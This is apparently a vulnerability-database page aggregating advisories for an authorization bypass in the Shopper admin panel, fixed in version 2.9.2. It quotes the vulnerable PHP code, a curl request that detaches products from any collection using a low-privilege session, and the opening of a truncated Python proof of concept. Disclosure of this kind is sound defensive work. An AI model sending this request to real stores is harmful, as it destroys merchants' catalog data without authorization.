Every CVE Search/ Get API key

CVE-2026-56825

Shopper: Missing authorization on product removal actions in CollectionProducts component

8.1 HighFix available

Shopper is a Headless e-commerce Admin Panel. Prior to 2.9.2, packages/admin/src/Livewire/Components/Collection/CollectionProducts.php exposes Action::make('delete') and DeleteBulkAction::make() without delete_collections authorization, while public Collection $collection remains client mutable because it lacks the Livewire Locked attribute. An authenticated staff user with only browse_collections can invoke a Livewire removal action, substitute an arbitrary collection identifier, and detach selected products or empty the collection. This can disrupt catalog landing pages and promotions associated with the targeted collection. This issue is fixed in version 2.9.2.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
Low
User interaction
None

What an attacker can affect

Confidentiality
None
Integrity
High
Availability
High

Exploit likelihood

0.50%Unchanged since Sep 16, 2026
90%50%10%1%

What each source reports

CVE List Score used 8.1

Shopper: Missing authorization on product removal actions in CollectionProducts component

Shopper is a Headless e-commerce Admin Panel. Prior to 2.9.2, packages/admin/src/Livewire/Components/Collection/CollectionProducts.php exposes Action::make('delete') and DeleteBulkAction::make() without delete_collections authorization, while public Collection $collection remains client mutable because it lacks the Livewire Locked attribute. An authenticated staff user with only browse_collections can invoke a Livewire removal action, substitute an arbitrary collection identifier, and detach selected products or empty the collection. This can disrupt catalog landing pages and promotions associated with the targeted collection. This issue is fixed in version 2.9.2.

Record
CVE-2026-56825
CVSS 3.1
8.1 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H
Weakness
CWE-862
Updated
2026-11-02
EUVDEUVD-2026-78912 8.1

Shopper is a Headless e-commerce Admin Panel. Prior to 2.9.2, packages/admin/src/Livewire/Components/Collection/CollectionProducts.php exposes Action::make('delete') and DeleteBulkAction::make() without delete_collections authorization, while public Collection $collection remains client mutable because it lacks the Livewire Locked attribute. An authenticated staff user with only browse_collections can invoke a Livewire removal action, substitute an arbitrary collection identifier, and detach selected products or empty the collection. This can disrupt catalog landing pages and promotions associated with the targeted collection. This issue is fixed in version 2.9.2.

Record
EUVD-2026-78912
CVSS 3.1
8.1 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H
Updated
2026-11-02
GitHub AdvisoriesGHSA-2cg9-97gq-9mqp 8.1

Shopper: Missing authorization on product removal actions in CollectionProducts component

Title

Missing authorization on product removal actions in CollectionProducts component

Description

A lack of authorization control was discovered on both the per-record delete action and the bulk delete action inside packages/admin/src/Livewire/Components/Collection/CollectionProducts.php. Neither the Action::make('delete') at line 73 nor the DeleteBulkAction::make() at line 91 carries an ->authorize(...) chain. The component also exposes public Collection $collection without #[Locked], so the collection ID is mutable in the Livewire wire payload. Any authenticated admin-panel session, including staff who hold only browse_collections, can detach individual products or bulk-detach all products from any collection in the database.

Severity

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H Score: 8.1 (High)

Affected files

  • packages/admin/src/Livewire/Components/Collection/CollectionProducts.php:40,73-88,91-105
// Line 40 - client-mutable, no #[Locked]
public Collection $collection;

// Lines 73-88 - per-record delete action, no ->authorize(...)
->recordActions([
    Action::make('delete')
        ->label(__('shopper::forms.actions.delete'))
        ->icon(Untitledui::Trash03)
        ->iconButton()
        ->color('danger')
        ->requiresConfirmation()
        ->action(function (Product $record): void {
            $this->collection->products()->detach([$record->id]);
            $this->dispatch('collection.add.product');
            Notification::make()
                ->title(__('shopper::pages/collections.remove_product'))
                ->success()
                ->send();
        }),
])

// Lines 91-105 - bulk remove action, no ->authorize(...)
->groupedBulkActions([
    DeleteBulkAction::make()
        ->label(__('shopper::forms.actions.delete'))
        ->icon(Untitledui::Trash03)
        ->requiresConfirmation()
        ->action(function (EloquentCollection $records): void {
            $this->collection->products()->detach($records->pluck('id')->toArray());
            $this->dispatch('collection.add.product');
            Notification::make()
                ->title(__('shopper::pages/collections.remove_product'))
                ->success()
                ->send();
        })
        ->deselectRecordsAfterCompletion(),
])

Steps to reproduce

Prerequisites: any admin-panel account, including one whose role holds only browse_collections (no edit_collections required).

SESSION="laravel_session=<your_session_value>"
XSRF="X-XSRF-TOKEN: <url-decoded-value-of-XSRF-TOKEN-cookie>"

# Step 1: Note the collection ID you wish to empty (e.g., collection_id=5).
# Step 2: Call the bulk table action on the CollectionProducts component,
#          substituting collection ID 5 in the component state.

curl -s -X POST http://localhost/shopper/livewire/update \
  -H "Content-Type: application/json" \
  -H "X-XSRF-TOKEN: $XSRF" \
  -H "Cookie: $SESSION" \
  -H "X-Livewire: 1" \
  -d '{
    "components": [{
      "snapshot": "{\"id\":\"COLLECTION_PRODUCTS_COMPONENT_ID\",\"data\":{\"collection\":5},\"checksum\":\"...\"}",
      "updates": {},
      "calls": [{
        "path": "",
        "method": "callBulkAction",
        "params": ["delete", [1, 2, 3, 4, 5]]
      }]
    }]
  }'
# Expected: HTTP 200, all listed product IDs detached from collection 5,
#           regardless of the caller having only browse_collections.

Proof of concept

#!/usr/bin/env python3
"""
CollectionProducts authorization bypass PoC.

Set these environment variables before running:
  BASE_URL        e.g. http://localhost
  SESSION_COOKIE  value of the laravel_session cookie
  XSRF_TOKEN      URL-decoded value of the XSRF-TOKEN cookie
  COMPONENT_ID    Livewire component snapshot ID (from page source)
  COLLECTION_ID   integer ID of the target collection
  PRODUCT_IDS     comma-separated product IDs to detach (e.g. "1,2,3")
"""

import json
import os
import requests

base_url     …
Record
GHSA-2cg9-97gq-9mqp
CVSS 3.1
8.1 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H
Weakness
CWE-862
Updated
2026-11-02
NVD 8.1

Shopper is a Headless e-commerce Admin Panel. Prior to 2.9.2, packages/admin/src/Livewire/Components/Collection/CollectionProducts.php exposes Action::make('delete') and DeleteBulkAction::make() without delete_collections authorization, while public Collection $collection remains client mutable because it lacks the Livewire Locked attribute. An authenticated staff user with only browse_collections can invoke a Livewire removal action, substitute an arbitrary collection identifier, and detach selected products or empty the collection. This can disrupt catalog landing pages and promotions associated with the targeted collection. This issue is fixed in version 2.9.2.

Record
CVE-2026-56825
CVSS 3.1
8.1 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H
Weakness
CWE-862
Updated
2026-11-02
OSV 8.1

Shopper: Missing authorization on product removal actions in CollectionProducts component

Shopper is a Headless e-commerce Admin Panel. Prior to 2.9.2, packages/admin/src/Livewire/Components/Collection/CollectionProducts.php exposes Action::make('delete') and DeleteBulkAction::make() without delete_collections authorization, while public Collection $collection remains client mutable because it lacks the Livewire Locked attribute. An authenticated staff user with only browse_collections can invoke a Livewire removal action, substitute an arbitrary collection identifier, and detach selected products or empty the collection. This can disrupt catalog landing pages and promotions associated with the targeted collection. This issue is fixed in version 2.9.2.

Record
CVE-2026-56825
CVSS 3.1
8.1 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H
Weakness
CWE-862
Updated
2026-11-02
OSVGHSA-2cg9-97gq-9mqp 8.1

Shopper: Missing authorization on product removal actions in CollectionProducts component

Title

Missing authorization on product removal actions in CollectionProducts component

Description

A lack of authorization control was discovered on both the per-record delete action and the bulk delete action inside packages/admin/src/Livewire/Components/Collection/CollectionProducts.php. Neither the Action::make('delete') at line 73 nor the DeleteBulkAction::make() at line 91 carries an ->authorize(...) chain. The component also exposes public Collection $collection without #[Locked], so the collection ID is mutable in the Livewire wire payload. Any authenticated admin-panel session, including staff who hold only browse_collections, can detach individual products or bulk-detach all products from any collection in the database.

Severity

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H Score: 8.1 (High)

Affected files

  • packages/admin/src/Livewire/Components/Collection/CollectionProducts.php:40,73-88,91-105
// Line 40 - client-mutable, no #[Locked]
public Collection $collection;

// Lines 73-88 - per-record delete action, no ->authorize(...)
->recordActions([
    Action::make('delete')
        ->label(__('shopper::forms.actions.delete'))
        ->icon(Untitledui::Trash03)
        ->iconButton()
        ->color('danger')
        ->requiresConfirmation()
        ->action(function (Product $record): void {
            $this->collection->products()->detach([$record->id]);
            $this->dispatch('collection.add.product');
            Notification::make()
                ->title(__('shopper::pages/collections.remove_product'))
                ->success()
                ->send();
        }),
])

// Lines 91-105 - bulk remove action, no ->authorize(...)
->groupedBulkActions([
    DeleteBulkAction::make()
        ->label(__('shopper::forms.actions.delete'))
        ->icon(Untitledui::Trash03)
        ->requiresConfirmation()
        ->action(function (EloquentCollection $records): void {
            $this->collection->products()->detach($records->pluck('id')->toArray());
            $this->dispatch('collection.add.product');
            Notification::make()
                ->title(__('shopper::pages/collections.remove_product'))
                ->success()
                ->send();
        })
        ->deselectRecordsAfterCompletion(),
])

Steps to reproduce

Prerequisites: any admin-panel account, including one whose role holds only browse_collections (no edit_collections required).

SESSION="laravel_session=<your_session_value>"
XSRF="X-XSRF-TOKEN: <url-decoded-value-of-XSRF-TOKEN-cookie>"

# Step 1: Note the collection ID you wish to empty (e.g., collection_id=5).
# Step 2: Call the bulk table action on the CollectionProducts component,
#          substituting collection ID 5 in the component state.

curl -s -X POST http://localhost/shopper/livewire/update \
  -H "Content-Type: application/json" \
  -H "X-XSRF-TOKEN: $XSRF" \
  -H "Cookie: $SESSION" \
  -H "X-Livewire: 1" \
  -d '{
    "components": [{
      "snapshot": "{\"id\":\"COLLECTION_PRODUCTS_COMPONENT_ID\",\"data\":{\"collection\":5},\"checksum\":\"...\"}",
      "updates": {},
      "calls": [{
        "path": "",
        "method": "callBulkAction",
        "params": ["delete", [1, 2, 3, 4, 5]]
      }]
    }]
  }'
# Expected: HTTP 200, all listed product IDs detached from collection 5,
#           regardless of the caller having only browse_collections.

Proof of concept

#!/usr/bin/env python3
"""
CollectionProducts authorization bypass PoC.

Set these environment variables before running:
  BASE_URL        e.g. http://localhost
  SESSION_COOKIE  value of the laravel_session cookie
  XSRF_TOKEN      URL-decoded value of the XSRF-TOKEN cookie
  COMPONENT_ID    Livewire component snapshot ID (from page source)
  COLLECTION_ID   integer ID of the target collection
  PRODUCT_IDS     comma-separated product IDs to detach (e.g. "1,2,3")
"""

import json
import os
import requests

base_url     …
Record
GHSA-2cg9-97gq-9mqp
CVSS 3.1
8.1 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H
Weakness
CWE-862
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
shopper/framework
Packagist
before 2.9.2
2.9.2
shopper/framework
Packagist
before 2.9.2, plus listed versions
v2.0.0v2.0.0-alphav2.0.0-betav2.0.0-beta10v2.0.0-beta11
Show 45 moreShow less
v2.0.0-beta12v2.0.0-beta13v2.0.0-beta14v2.0.0-beta15v2.0.0-beta16v2.0.0-beta17v2.0.0-beta18v2.0.0-beta19v2.0.0-beta2v2.0.0-beta20v2.0.0-beta21v2.0.0-beta3v2.0.0-beta4v2.0.0-beta5v2.0.0-beta6v2.0.0-beta7v2.0.0-beta8v2.0.0-beta9v2.0.1v2.0.2v2.0.3v2.1.1v2.1.2v2.1.3v2.1.4v2.1.5v2.1.6v2.2v2.2.1v2.2.2v2.2.3v2.2.4v2.2.5v2.2.6v2.2.7v2.3v2.3.1v2.3.2v2.3.3v2.4.0v2.4.1v2.4.2v2.4.3v2.5.0v2.5.1
2.9.2

History

History
RecordedChangedSources
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-56825 is a high vulnerability (CVSS 8.1) in Shopperdotcom Shopper, published September 11, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.50%, the 43rd percentile. Fixed in shopper/framework 2.9.2.

References

This page doesn't list everything

Left out here: 13 versions and the rest of 2 source descriptions. The JSON record has them.

MoveEnter Open